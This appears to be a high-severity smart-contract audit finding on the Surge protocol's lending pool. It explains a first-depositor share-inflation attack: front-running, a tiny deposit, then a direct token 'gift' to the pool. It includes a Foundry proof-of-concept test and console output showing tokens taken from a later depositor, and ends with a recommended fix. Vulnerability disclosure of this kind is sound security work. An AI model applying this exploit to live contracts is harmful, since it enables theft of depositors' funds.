usmannk

high

# Attackers may steal loan tokens from pool depositors

## Summary

Attackers can take advantages of errors in accounting to steal tokens from pool depositors. If an attacker cleverly deposits some tokens and also gifts some tokens to a pool via direct transfer after the pool's deployment, they can steal tokens from the next depositor.

## Vulnerability Detail

https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L105-L129

The `getCurrentState` function called by many interactions with the Surge protocol only updates the current balance on its first invocation per block. An attacker can use this to their advantage and steal tokens.

Also useful to know for this exploit is that the number of shares for a deposited token amount is calculated as:

https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L199-L204

First the attacker should wait until they see a pending initial deposit into a surge pool in the mempool.
Say an attacker, Bob, notices that Alice is about to perform an initial deposit of `1e18` wei loan tokens into a pool.

First Bob can deposit 3wei of the loan token.
State: `_loanTokenBalance=3, _currentTotalSupply=3, loanToken.balanceOf(address(pool))=3, pool.balanceOf(bob)=3, pool.balanceOf(alice)=0`

Then Bob transfers `2e18` wei directly to the pool
State: `_loanTokenBalance=2e18+3, _currentTotalSupply=3, loanToken.balanceOf(address(pool))=2e18+3, pool.balanceOf(bob)=3, pool.balanceOf(alice)=0`

Next Alice deposits her `1e18` wei. Her shares are calculated as `amount * _currentTotalSupply / _loanTokenBalance` rounded down. This leaves the state as:
State: `_loanTokenBalance=3e18+3, _currentTotalSupply=4, loanToken.balanceOf(address(pool))=3e18+3, pool.balanceOf(bob)=3, pool.balanceOf(alice)=1`

Bob can now claim the following amount:

`balanceOf[msg.sender] * (_currentTotalDebt + _loanTokenBalance) / _currentTotalSupply;`
Which is equal to
`3 * (0 + (3e18+3)) / 4;`
Or
`2250000000000000001` 

After depositing 3wei and gifting 2e18wei, Bob is able to withdraw 2.25e18+1wei. The extra was stolen from Alice.


Below is a test that demonstrates this, failing when bob manages to steal tokens from alice.
```solidity
    function testSteal() external {
        address alice = vm.addr(1);
        address bob = vm.addr(2);
        address deployer = vm.addr(3);

        //setup
        uint amount = 10e18;
        MockERC20 collateralToken = new MockERC20(amount, 18);
        MockERC20 loanToken = new MockERC20(amount, 18);
        loanToken.transfer(bob,5e18);
        loanToken.transfer(alice,5e18);

        // deploy a cool new pool
        vm.startPrank(deployer);
        Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 1e18, 0.8e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
        vm.stopPrank();

        console.log("[initial] alice tokens", loanToken.balanceOf(alice));
        console.log("[initial] bob tokens  ", loanToken.balanceOf(bob));
        console.log("[initial] pool tokens ", loanToken.balanceOf(address(pool)));

        //bob notices in the mempool that alice is about to deposit 1e18 into the new pool
        vm.startPrank(bob);
        loanToken.approve(address(pool), type(uint256).max);
        pool.deposit(3);
        loanToken.transfer(address(pool), 2e18);
        vm.stopPrank();

        // just depositing 1e18 token in the new pool i saw
        vm.startPrank(alice);
        loanToken.approve(address(pool), type(uint256).max);
        pool.deposit(1e18);
        vm.stopPrank();

        //now bob can just withdraw his stolen tokens
        vm.startPrank(bob);
        pool.withdraw(type(uint).max);
        vm.stopPrank();

        //alice also withdraws her remaining tokens
        vm.startPrank(alice);
        pool.withdraw(type(uint).max);
        vm.stopPrank();

        console.log("[final] alice tokens", loanToken.balanceOf(alice));
        console.log("[final] bob tokens  ", loanToken.balanceOf(bob));
        console.log("[final] pool tokens ", loanToken.balanceOf(address(pool)));

        assertEq(loanToken.balanceOf(bob), 5e18);
    }
```

The console output from the test is:

>   [initial] alice tokens 5000000000000000000
>   [initial] bob tokens   5000000000000000000
>   [initial] pool tokens  0
>   [final] alice tokens 4750000000000000001
>   [final] bob tokens   5249999999999999999
>   [final] pool tokens  0
>   Error: a == b not satisfied [uint]
>     Expected: 5000000000000000000
>       Actual: 5249999999999999999


## Impact

Theft of funds from users.

## Code Snippet

## Tool used

Manual Review

## Recommendation

Account for the gifting of tokens by updating balances appropriately
